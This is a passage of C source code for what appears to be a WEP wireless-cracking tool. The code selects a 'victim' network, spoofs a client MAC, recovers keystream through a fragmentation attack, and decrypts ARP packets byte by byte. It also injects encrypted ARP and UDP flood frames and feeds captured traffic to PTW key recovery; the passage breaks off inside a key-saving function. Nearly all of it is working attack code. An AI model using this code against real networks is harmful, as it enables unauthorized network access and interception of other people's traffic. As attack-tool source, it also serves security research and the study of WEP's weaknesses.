1153                 // check if its a TTL update from dictionary stuff
1154                 if (dlen >= (8+20+8+MAGIC_TTL_PAD) && 
1155                     dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1156                         int ttl_delta, new_ttl;
1157                         
1158                         ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1159                         new_ttl = 128 - ttl_delta;
1160
1161                         if (ttl_val && new_ttl != ttl_val) {
1162                                 time_print("oops. ttl changed from %d to %d\n",
1163                                            ttl_val, new_ttl);
1164                                 exit(1);           
1165                         }
1166
1167                         if (!ttl_val) {
1168                                 ttl_val = new_ttl;
1169                                 printf("\n");
1170                                 time_print("Got TTL of %d\n", ttl_val);
1171                                 calculate_inet_clear();
1172                         }
1173                 }
1174
1175                 // check if its dictionary data
1176                 if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1177                         log_dictionary(body, len - sizeof(*wh));
1178                 }
1179 #endif          
1180         }
1181
1182 #if 0
1183         printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1184                 type, stype, mac2str(wh->i_addr2), len);
1185 #endif          
1186 }
1187
1188 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1189         unsigned char* body;
1190         int bodylen;
1191         unsigned char clear[36];
1192         unsigned char* ptr;
1193         struct arphdr* h;
1194         int i;
1195
1196         body = (unsigned char*) wh+sizeof(*wh);
1197         ptr = clear;
1198
1199         // calculate clear-text
1200         memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1201         ptr += sizeof(arp_clear) -1;
1202         
1203         h = (struct arphdr*)ptr;
1204         h->ar_hrd = htons(ARPHRD_ETHER);
1205         h->ar_pro = htons(ETHERTYPE_IP);
1206         h->ar_hln = 6;
1207         h->ar_pln = 4;
1208         h->ar_op = htons(ARPOP_REQUEST);
1209         ptr += sizeof(*h);
1210
1211         memcpy(ptr, wh->i_addr3, 6);
1212
1213         bodylen = rd - sizeof(*wh) - 4 - 4;
1214         decryptstate.clen = bodylen;
1215         decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1216         if (!decryptstate.cipher) {
1217                 perror("malloc()");
1218                 exit(1);
1219         }
1220         decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1221         if (!decryptstate.prgainfo.prga) {
1222                 perror("malloc()");
1223                 exit(1);
1224         }
1225
1226
1227         memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1228         memcpy(decryptstate.prgainfo.iv, body, 3);
1229
1230         memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1231         for(i = 0; i < (8+8+6); i++) {
1232                 decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^ 
1233                                                 clear[i];
1234         }
1235         
1236         decryptstate.prgainfo.len = i;
1237         time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1238 }
1239
1240 void log_wep(struct ieee80211_frame* wh, int len) {
1241         int rd;
1242         struct pcap_pkthdr pkh;
1243         struct timeval tv;
1244         unsigned char *body = (unsigned char*) (wh+1);
1245
1246         memset(&pkh, 0, sizeof(pkh));
1247         pkh.caplen = pkh.len = len;
1248         if (gettimeofday(&tv, NULL) == -1)
1249                 err(1, "gettimeofday()");
1250         pkh.ts = tv;
1251         if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1252                 err(1, "write()");
1253
1254         rd = write(weplog.fd, wh, len);
1255
1256         if (rd == -1) {
1257                 perror("write()");
1258                 exit(1);
1259         }
1260         if (rd != len) {
1261                 time_print("short write %d out of %d\n", rd, len);
1262                 exit(1);
1263         }
1264
1265 #if 0
1266         if (fsync(weplog.fd) == -1) {
1267                 perror("fsync()");
1268                 exit(1);
1269         }
1270 #endif
1271
1272         memcpy(weplog.iv, body, 3);
1273         weplog.packets++;
1274 }
1275
1276 void try_dictionary(struct ieee80211_frame* wh, int len) {
1277         unsigned char *body;
1278         char path[52];
1279         char paths[3][3];
1280         int i;
1281         int fd, rd;
1282         unsigned char packet[4096];
1283         int dlen;
1284         struct ether_header* eh;
1285         uLong crc;
1286         unsigned long *pcrc;
1287         unsigned char* dmac, *smac;
1288
1289         assert (len < sizeof(packet) + sizeof(*eh));
1290
1291         body = (unsigned char*) wh + sizeof(*wh);
1292
1293         for (i = 0; i < 3; i++)
1294                 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1295
1296         sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1297
1298         fd = open(path, O_RDONLY);
1299         if (fd == -1)
1300                 return;
1301
1302         rd = read(fd, &packet[6], sizeof(packet)-6);
1303         if (rd == -1) {
1304                 perror("read()");
1305                 exit(1);
1306         }
1307         close(fd);
1308
1309
1310         dlen = len - sizeof(*wh) - 4;
1311         if (dlen > rd) {
1312                 printf("\n");
1313                 time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1314                 dlen);
1315                 return;
1316         }
1317
1318         body += 4;
1319         for (i = 0; i < dlen; i++)
1320                 packet[6+i] ^= body[i];
1321
1322         dlen -= 4;
1323         crc = crc32(0L, Z_NULL, 0);
1324         crc = crc32(crc, &packet[6], dlen);
1325         pcrc = (unsigned long*) (&packet[6+dlen]);
1326
1327         if (*pcrc != crc) {
1328                 printf("\n");
1329                 time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1330                            path, *pcrc, crc);
1331                 return;
1332         }
1333
1334         // fill ethernet header
1335         eh = (struct ether_header*) packet;
1336         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1337                 smac = wh->i_addr3;
1338         else
1339                 smac = wh->i_addr2;
1340
1341         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1342                 dmac = wh->i_addr3;
1343         else
1344                 dmac = wh->i_addr1;
1345
1346         memcpy(eh->ether_dhost, dmac, 6);
1347         memcpy(eh->ether_shost, smac, 6);
1348         // ether type should be there from llc
1349
1350         dlen -= 8; // llc
1351         dlen += sizeof(*eh);
1352
1353 #if 0
1354         printf("\n");
1355         time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1356         hexdump(packet, dlen);
1357 #endif
1358
1359         rd = write(tapfd, packet, dlen);
1360         if (rd == -1) {
1361                 perror("write()");
1362                 exit(1);
1363         }
1364         if (rd != dlen) {
1365                 printf("Wrote %d / %d\n", rd, dlen);
1366                 exit(1);
1367         }
1368 }
1369
1370 int is_arp(struct ieee80211_frame *wh, int len)
1371 {       
1372         int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1373
1374         if (len == arpsize || len == 54)
1375                 return 1;
1376
1377         return 0;
1378 }
1379
1380 void *get_sa(struct ieee80211_frame *wh)
1381 {       
1382         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1383                 return wh->i_addr3;
1384         else    
1385                 return wh->i_addr2;
1386 }
1387
1388 void *get_da(struct ieee80211_frame *wh)
1389 {       
1390         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1391                 return wh->i_addr1;
1392         else    
1393                 return wh->i_addr3;
1394 }
1395
1396 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1397 {       
1398         unsigned char *ptr = clear;
1399
1400         /* IP */
1401         if (!is_arp(wh, len)) {
1402                 unsigned short iplen = htons(len - 8);
1403                             
1404 //                printf("Assuming IP %d\n", len);
1405                             
1406                 len = sizeof(S_LLC_SNAP_IP) - 1;
1407                 memcpy(ptr, S_LLC_SNAP_IP, len);
1408                 ptr += len;
1409 #if 1                  
1410                 len = 2;    
1411                 memcpy(ptr, "\x45\x00", len);
1412                 ptr += len;
1413                             
1414                 memcpy(ptr, &iplen, len);
1415                 ptr += len;
1416 #endif
1417                 len = ptr - ((unsigned char*)clear);
1418                 return len;
1419         }
1420 //        printf("Assuming ARP %d\n", len);
1421
1422         /* arp */
1423         len = sizeof(S_LLC_SNAP_ARP) - 1;
1424         memcpy(ptr, S_LLC_SNAP_ARP, len);
1425         ptr += len;
1426
1427         /* arp hdr */
1428         len = 6;
1429         memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1430         ptr += len;
1431
1432         /* type of arp */
1433         len = 2;
1434         if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1435                 memcpy(ptr, "\x00\x01", len);
1436         else   
1437                 memcpy(ptr, "\x00\x02", len);
1438         ptr += len;
1439
1440         /* src mac */
1441         len = 6;
1442         memcpy(ptr, get_sa(wh), len);
1443         ptr += len;
1444
1445         len = ptr - ((unsigned char*)clear);
1446         return len;
1447 }
1448
1449 void add_keystream(struct ieee80211_frame* wh, int rd)
1450 {
1451         unsigned char clear[1024];
1452         int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1453         int clearsize;
1454         unsigned char *body = (unsigned char*) (wh+1);
1455         int i;
1456         
1457         clearsize = known_clear(clear, wh, dlen);
1458         if (clearsize < 16)
1459                 return;
1460
1461         for (i = 0; i < 16; i++)
1462                 clear[i] ^= body[4+i];
1463
1464         PTW_addsession(ptw, body, clear);
1465 }
1466
1467 void got_wep(struct ieee80211_frame* wh, int rd) {
1468         int bodylen;
1469         int dlen;
1470         unsigned char clear[1024];
1471         int clearsize;
1472         unsigned char *body;
1473
1474         bodylen = rd - sizeof(struct ieee80211_frame);
1475
1476         dlen = bodylen - 4 - 4;
1477         body = (unsigned char*) wh + sizeof(*wh);
1478
1479
1480         // log it if its stuff not from us...
1481         if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1482              ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1483                 memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1484
1485                 if (body[3] != 0) {
1486                         time_print("Key index=%x!!\n", body[3]);
1487                         exit(1);
1488                 }
1489                 log_wep(wh, rd);
1490                 add_keystream(wh, rd);
1491         
1492                 // try to decrypt too
1493                 try_dictionary(wh, rd);
1494         }       
1495         
1496         // look for arp-request packets... so we can decrypt em
1497         if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1498             (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1499             (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1500              (dlen == 36 || dlen == PADDED_ARPLEN) &&
1501             !decryptstate.cipher && 
1502             !netip) {
1503                 decrypt_arpreq(wh, rd);
1504         }
1505
1506         // we have prga... check if its our stuff being relayed...
1507         if (prgainfo.len != 0) {
1508                 // looks like it...
1509                 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1510                     (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1511                     (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1512                     dlen == fragstate.len) {
1513         
1514 //                      printf("I fink AP relayed it...\n");
1515                         set_prga(body, &body[4], fragstate.data, dlen);
1516                         free(fragstate.data);
1517                         fragstate.data = 0;
1518                         fragstate.waiting_relay = 0;
1519                 }   
1520                 
1521                 // see if we get the multicast stuff of when decrypting
1522                 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1523                     (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1524                     (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1525                     dlen == 36) {
1526         
1527                         unsigned char pr = wh->i_addr1[5];
1528
1529                         printf("\n");
1530                         time_print("Got clear-text byte: %d\n", 
1531                         decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1532
1533                         decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1534                         decryptstate.prgainfo.len++;
1535                         decryptstate.fragstate.waiting_relay = 1;
1536
1537                         // ok we got the ip...
1538                         if (decryptstate.prgainfo.len == 26+1) {
1539                                 unsigned char ip[4];
1540                                 int i;
1541                                 struct in_addr *in = (struct in_addr*) ip;
1542                                 unsigned char *ptr;
1543
1544                                 for (i = 0; i < 4; i++)
1545                                         ip[i] = decryptstate.cipher[8+8+6+i] ^
1546                                                 decryptstate.prgainfo.prga[8+8+6+i];
1547
1548                                 assert(!netip);
1549                                 netip = (unsigned char*) malloc(16);
1550                                 if(!netip) {
1551                                         perror("malloc()");
1552                                         exit(1);
1553                                 }
1554
1555                                 memset(netip, 0, 16);
1556                                 strcpy(netip, inet_ntoa(*in));
1557
1558                                 time_print("Got IP=(%s)\n", netip);
1559                                 strcpy(myip, netip);
1560
1561                                 ptr = strchr(myip, '.');
1562                                 assert(ptr);
1563                                 ptr = strchr(ptr+1, '.');
1564                                 assert(ptr);
1565                                 ptr = strchr(ptr+1, '.');
1566                                 assert(ptr);
1567                                 strcpy(ptr+1,"123");
1568
1569                                 time_print("My IP=(%s)\n", myip);
1570
1571
1572                                 free(decryptstate.prgainfo.prga);
1573                                 free(decryptstate.cipher);
1574                                 memset(&decryptstate, 0, sizeof(decryptstate));
1575                         }       
1576                 }    
1577                 return;
1578         }
1579
1580         clearsize = known_clear(clear, wh, dlen);
1581         time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1582
1583         set_prga(body, &body[4], clear, clearsize);
1584 }
1585
1586 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1587         int type,stype;
1588         
1589         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1590         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1591
1592         if (type == IEEE80211_FC0_TYPE_DATA && 
1593             stype == IEEE80211_FC0_SUBTYPE_DATA) {
1594                 int dlen = rd - sizeof(struct ieee80211_frame);
1595
1596                 if (state == SPOOF_MAC) {
1597                         unsigned char mac[6];
1598                         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1599                                 memcpy(mac, wh->i_addr3, 6);
1600                         } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1601                                 memcpy(mac, wh->i_addr1, 6);
1602                         } else assert(0);
1603
1604                         if (mac[0] == 0xff || mac[0] == 0x1)
1605                                 return;
1606
1607                         memcpy(mymac, mac, 6);  
1608                         time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1609                         state = FOUND_VICTIM;
1610                         return;
1611                 }
1612
1613                 // wep data!
1614                 if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1615                         got_wep(wh, rd);
1616                 }
1617         }
1618 }
1619
1620 void anal(unsigned char* buf, int rd, int tx) { // yze
1621         struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1622         int type,stype;
1623         static int lastseq = -1;
1624         int seq;
1625         unsigned short *seqptr;
1626         int for_us = 0;
1627
1628         if (rd < 1) {
1629                 time_print("rd=%d\n", rd);
1630                 exit(1);
1631         }
1632
1633         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1634         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1635
1636         // sort out acks
1637         if (state >= FOUND_VICTIM) {
1638                 // stuff for us
1639                 if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1640                         for_us = 1;
1641                         if (type != IEEE80211_FC0_TYPE_CTL)
1642                                 send_ack(tx);
1643                 }
1644         }       
1645         
1646         // XXX i know it aint great...
1647         seqptr = (unsigned short*)  wh->i_seq;
1648         seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1649         if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1650             type != IEEE80211_FC0_TYPE_CTL) {
1651 //              printf("Ignoring dup packet... seq=%d\n", seq);
1652                 return;
1653         }
1654         lastseq = seq;
1655
1656         // management frame
1657         if (type == IEEE80211_FC0_TYPE_MGT) {
1658                 if(state == FIND_VICTIM) {
1659                         if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1660                             stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1661
1662                                 if (get_victim_ssid(wh, rd)) {
1663                                         return;
1664                                 }
1665                         }
1666                             
1667                 }
1668         }
1669
1670         if (state >= FOUND_VICTIM) {
1671                 // stuff for us
1672                 if (for_us) {
1673                         stuff_for_us(wh, rd);
1674                 }
1675
1676                 // stuff in network [even for us]
1677                 if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1678                           (memcmp(victim.bss, wh->i_addr1, 6) == 0)) || 
1679                           
1680                           ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1681                           (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1682                            ) {
1683                         stuff_for_net(wh, rd);
1684                 }
1685         }
1686 }
1687
1688 void do_arp(unsigned char* buf, unsigned short op,
1689             unsigned char* m1, unsigned char* i1,
1690             unsigned char* m2, unsigned char* i2) {
1691
1692         struct in_addr sip;
1693         struct in_addr dip;
1694         struct arphdr* h;
1695         unsigned char* data;
1696
1697         inet_aton(i1, &sip);
1698         inet_aton(i2, &dip);
1699         h = (struct arphdr*) buf;
1700
1701         memset(h, 0, sizeof(*h));
1702
1703         h->ar_hrd = htons(ARPHRD_ETHER);
1704         h->ar_pro = htons(ETHERTYPE_IP);
1705         h->ar_hln = 6;
1706         h->ar_pln = 4;
1707         h->ar_op = htons(op);
1708
1709         data = (unsigned char*) h + sizeof(*h);
1710
1711         memcpy(data, m1, 6);
1712         data += 6;
1713         memcpy(data, &sip, 4);
1714         data += 4;
1715
1716         memcpy(data, m2, 6);
1717         data += 6;
1718         memcpy(data, &dip, 4);
1719         data += 4;
1720 }
1721
1722 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1723         unsigned char buf[4096];
1724         struct ieee80211_frame* wh;
1725         unsigned char* body;
1726         int fragsize;
1727         uLong crc;
1728         unsigned long *pcrc;
1729         int i;
1730         unsigned short* seq;
1731         unsigned short sn, fn;
1732
1733         wh = (struct ieee80211_frame*) buf;
1734         memcpy(wh, &fs->wh, sizeof(*wh));
1735
1736         body = (unsigned char*) wh + sizeof(*wh);
1737         memcpy(body, &pi->iv, 3);
1738         body += 3;
1739         *body++ = 0; // key index
1740
1741         fragsize = fs->data + fs->len - fs->ptr;
1742
1743         assert(fragsize > 0);
1744         
1745         if ( (fragsize + 4) > pi->len) {
1746                 fragsize = pi->len  - 4;
1747                 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1748         } 
1749         // last fragment
1750         else {
1751                 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1752         }
1753
1754         memcpy(body, fs->ptr, fragsize);
1755
1756         crc = crc32(0L, Z_NULL, 0);
1757         crc = crc32(crc, body, fragsize);
1758         pcrc = (unsigned long*) (body+fragsize);
1759         *pcrc = crc;
1760
1761         for (i = 0; i < (fragsize + 4); i++)
1762                 body[i] ^= pi->prga[i];
1763
1764         seq = (unsigned short*) &wh->i_seq;
1765         sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1766         fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1767 //      printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1768                
1769         send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1770
1771         seq = (unsigned short*) &fs->wh.i_seq;
1772         *seq = fnseq(++fn, sn);
1773         fs->ptr += fragsize;
1774
1775         if (fs->ptr - fs->data == fs->len) {
1776 //              printf("Finished sending frags...\n");
1777                 fs->waiting_relay = 1;
1778         }
1779 }
1780
1781 void prepare_fragstate(struct frag_state* fs, int pad) {
1782         fs->waiting_relay = 0;
1783         fs->len = 8 + 8 + 20 + pad;
1784         fs->data = (unsigned char*) malloc(fs->len);
1785
1786         if(!fs->data) {
1787                 perror("malloc()");
1788                 exit(1);
1789         }
1790
1791         fs->ptr = fs->data;
1792
1793         do_llc(fs->data, ETHERTYPE_ARP);
1794         do_arp(&fs->data[8], ARPOP_REQUEST,
1795                mymac, myip, 
1796                "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1797
1798         memset(&fs->wh, 0, sizeof(fs->wh));
1799         fill_basic(&fs->wh);
1800
1801         memset(fs->wh.i_addr3, 0xff, 6);
1802         fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1803         fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1804                                 IEEE80211_FC1_MORE_FRAG |
1805                                 IEEE80211_FC1_WEP;
1806
1807         memset(&fs->data[8+8+20], 0, pad);
1808 }
1809
1810 void discover_prga(int tx) {
1811
1812         // create packet...
1813         if (!fragstate.data) {
1814                 int pad = 0;
1815
1816                 if (prgainfo.len >= 20)
1817                         pad = prgainfo.len*3;
1818         
1819                 prepare_fragstate(&fragstate, pad);
1820         }
1821
1822         if (!fragstate.waiting_relay) {
1823                 send_fragment(tx, &fragstate, &prgainfo);
1824                 if (fragstate.waiting_relay) {
1825                         if (gettimeofday(&fragstate.last, NULL) == -1)
1826                                 err(1, "gettimeofday()");
1827                 }
1828         }       
1829 }
1830
1831 void decrypt(int tx) {
1832
1833         // gotta initiate
1834         if (!decryptstate.fragstate.data) {
1835                 prepare_fragstate(&decryptstate.fragstate, 0);
1836
1837                 memcpy(decryptstate.fragstate.wh.i_addr3,
1838                        MCAST_PREF, 5);
1839
1840                 decryptstate.fragstate.wh.i_addr3[5] =
1841                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1842
1843                 decryptstate.prgainfo.len++;
1844         }
1845
1846         // guess diff prga byte...
1847         if (decryptstate.fragstate.waiting_relay) {     
1848                 unsigned short* seq;
1849                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1850
1851 #if 0           
1852                 if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1853                         printf("Can't decrpyt!\n");
1854                         exit(1);
1855                 }
1856 #endif
1857                 decryptstate.fragstate.wh.i_addr3[5] =
1858                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1859
1860                 decryptstate.fragstate.waiting_relay = 0;
1861                 decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1862
1863                 seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1864                 *seq = fnseq(0, txstate.psent);
1865         }
1866
1867         send_fragment(tx, &decryptstate.fragstate,
1868                       &decryptstate.prgainfo);
1869 }
1870
1871 void flood_inet(tx) {
1872         static int send_arp = -1;
1873         static unsigned char arp_pkt[128];
1874         static int arp_len;
1875         static unsigned char udp_pkt[128];
1876         static int udp_len;
1877         static struct timeval last_ip;
1878
1879         // need to init packets...
1880         if (send_arp == -1) {
1881                 unsigned char* body;
1882                 unsigned char* ptr;
1883                 struct ieee80211_frame* wh;
1884                 struct ip* ih;
1885                 struct udphdr* uh;
1886
1887                 memset(arp_pkt, 0, sizeof(arp_pkt));
1888                 memset(udp_pkt, 0, sizeof(udp_pkt));
1889
1890                 // construct ARP
1891                 wh = (struct ieee80211_frame*) arp_pkt;
1892                 fill_basic(wh);
1893
1894                 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1895                 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1896                 memset(wh->i_addr3, 0xff, 6);
1897
1898                 body = (unsigned char*) wh + sizeof(*wh);
1899                 ptr = body;
1900                 ptr += 4; // iv
1901
1902                 do_llc(ptr, ETHERTYPE_ARP);
1903                 ptr += 8;
1904                 do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1905                        "\x00\x00\x00\x00\x00\x00", netip);
1906
1907                 wepify(body, 8+8+20);
1908                 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1909                 assert(arp_len < sizeof(arp_pkt));
1910
1911
1912                 // construct UDP
1913                 wh = (struct ieee80211_frame*) udp_pkt;
1914                 fill_basic(wh);
1915                 
1916                 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1917                 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1918                 memcpy(wh->i_addr3, rtrmac, 6);
1919
1920                 body = (unsigned char*) wh + sizeof(*wh);
1921                 ptr = body;
1922                 ptr += 4; // iv
1923
1924                 do_llc(ptr, ETHERTYPE_IP);
1925                 ptr += 8;
1926
1927                 ih = (struct ip*) ptr;
1928                 ih->ip_hl = 5;
1929                 ih->ip_v = 4;
1930                 ih->ip_tos = 0;
1931                 ih->ip_len = htons(20+8+5);
1932                 ih->ip_id = htons(666);
1933                 ih->ip_off = 0;
1934                 ih->ip_ttl = 128;
1935                 ih->ip_p = IPPROTO_UDP;
1936                 ih->ip_sum = 0;
1937
1938                 inet_aton(myip, &ih->ip_src);
1939                 inet_aton(floodip, &ih->ip_dst);
1940
1941                 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1942
1943                 ptr += 20;
1944                 uh = (struct udphdr*) ptr;
1945                 uh->uh_sport = htons(floodsport);
1946                 uh->uh_dport = htons(floodport);
1947                 uh->uh_ulen = htons(8+5);
1948                 uh->uh_sum = 0;
1949
1950                 ptr += 8;
1951                 strcpy(ptr, "sorbo");
1952
1953                 uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1954                                           &ih->ip_dst);
1955
1956                 wepify(body, 8+20+8+5);
1957                 udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1958                 assert(udp_len < sizeof(udp_pkt));
1959
1960                 // bootstrap
1961                 send_arp = 1;
1962
1963                 memset(&last_ip, 0, sizeof(last_ip));
1964         }
1965
1966         if (send_arp == 1) {
1967                 struct timeval now;
1968                 unsigned long sec;
1969
1970                 if (gettimeofday(&now, NULL) == -1) {
1971                         perror("gettimeofday()");
1972                         exit(1);
1973                 }
1974
1975                 sec = now.tv_sec - last_ip.tv_sec;
1976
1977                 if (sec < 5)
1978                         return;
1979
1980                 send_frame(tx, arp_pkt, arp_len);
1981                 send_arp = 0;
1982         }
1983
1984         else if (send_arp == 0) {
1985                 if (gettimeofday(&last_ip, NULL) == -1) {
1986                         perror("gettimeofday()");
1987                         exit(1);
1988                 }
1989                 
1990                 send_frame(tx, udp_pkt, udp_len);
1991                 send_arp = 1;
1992         } else assert(0);
1993 }
1994
1995 void send_arp(int tx, unsigned short op, unsigned char* srcip, 
1996               unsigned char* srcmac, unsigned char* dstip, 
1997               unsigned char* dstmac) {
1998         
1999         static unsigned char arp_pkt[128];
2000         unsigned char* body;
2001         unsigned char* ptr;
2002         struct ieee80211_frame* wh;
2003         int arp_len;
2004
2005         memset(arp_pkt, 0, sizeof(arp_pkt));
2006
2007         // construct ARP
2008         wh = (struct ieee80211_frame*) arp_pkt;
2009         fill_basic(wh);
2010
2011         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2012         wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2013         memset(wh->i_addr3, 0xff, 6);
2014
2015         body = (unsigned char*) wh + sizeof(*wh);
2016         ptr = body;
2017         ptr += 4; // iv
2018
2019         do_llc(ptr, ETHERTYPE_ARP);
2020         ptr += 8;
2021         do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
2022
2023         wepify(body, 8+8+20);
2024         arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
2025         assert(arp_len < sizeof(arp_pkt));
2026
2027         send_frame(tx, arp_pkt, arp_len);
2028 }             
2029
2030 void can_write(int tx) {
2031         static char arp_ip[16];
2032
2033         switch (state) {
2034                 case FOUND_VICTIM:
2035                         send_auth(tx);
2036                         state = SENDING_AUTH;
2037                         break;
2038
2039                 case GOT_AUTH:
2040                         send_assoc(tx);
2041                         state = SENDING_ASSOC;
2042                         break;
2043
2044                 case GOT_ASSOC:
2045                         if (prgainfo.prga && prgainfo.len < min_prga) {
2046                                 discover_prga(tx);
2047                                 break;
2048                         }
2049                         
2050                         if (decryptstate.cipher) {
2051                                 decrypt(tx);
2052                                 break;
2053                         }
2054                         
2055                         if (!prgainfo.prga)
2056                                 break;
2057
2058                         if (taptx_len) {
2059                                 send_frame(tx, taptx, taptx_len);
2060                                 taptx_len = 0;
2061                                 break;
2062                         }       
2063
2064                         // try to find rtr mac addr
2065                         if (netip && !rtrmac) {
2066                                 char* ptr;
2067
2068                                 strcpy(arp_ip, netip);
2069                                 if (!netip_arg) {
2070                                         ptr = strchr(arp_ip, '.');
2071                                         assert(ptr);
2072                                         ptr = strchr(++ptr, '.');
2073                                         assert(ptr);
2074                                         ptr = strchr(++ptr, '.');
2075                                         assert(ptr);
2076                                         strcpy(++ptr, "1");
2077                                 }
2078
2079                                 if (gettimeofday(&arpsend, NULL) == -1)
2080                                         err(1, "gettimeofday()");
2081
2082                                 time_print("Sending arp request for: %s\n", arp_ip);
2083                                 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2084                                          arp_ip, "\x00\x00\x00\x00\x00\x00");
2085                         
2086                                 // XXX lame
2087                                 rtrmac = (unsigned char*)1;
2088                                 break;   
2089                         }
2090         
2091                         // need to generate traffic...
2092                         if (rtrmac > (unsigned char*)1 && netip) {
2093                                 if (floodip)
2094                                         flood_inet(tx);
2095                                 else {
2096                                         // XXX lame technique... anyway... im
2097                                         // only interested in flood_inet...
2098
2099                                         // could ping broadcast....
2100                                         send_arp(tx, ARPOP_REQUEST, myip, mymac,
2101                                                  arp_ip, "\x00\x00\x00\x00\x00\x00");
2102                                 }
2103
2104                                 break;
2105                         }
2106
2107                         break;  
2108         }
2109 }
2110
2111 void save_key(unsigned char *key, int len)
2112 {
2113         char tmp[16];
2114         char k[64];
2115         int fd;
2116         int rd;
2117
2118         assert(len*3 < sizeof(k));
2119
2120         k[0] = 0;
2121         while (len--) {
2122                 sprintf(tmp, "%.2X", *key++);
2123                 strcat(k, tmp);
2124                 if (len)
2125                         strcat(k, ":");
2126         }
2127
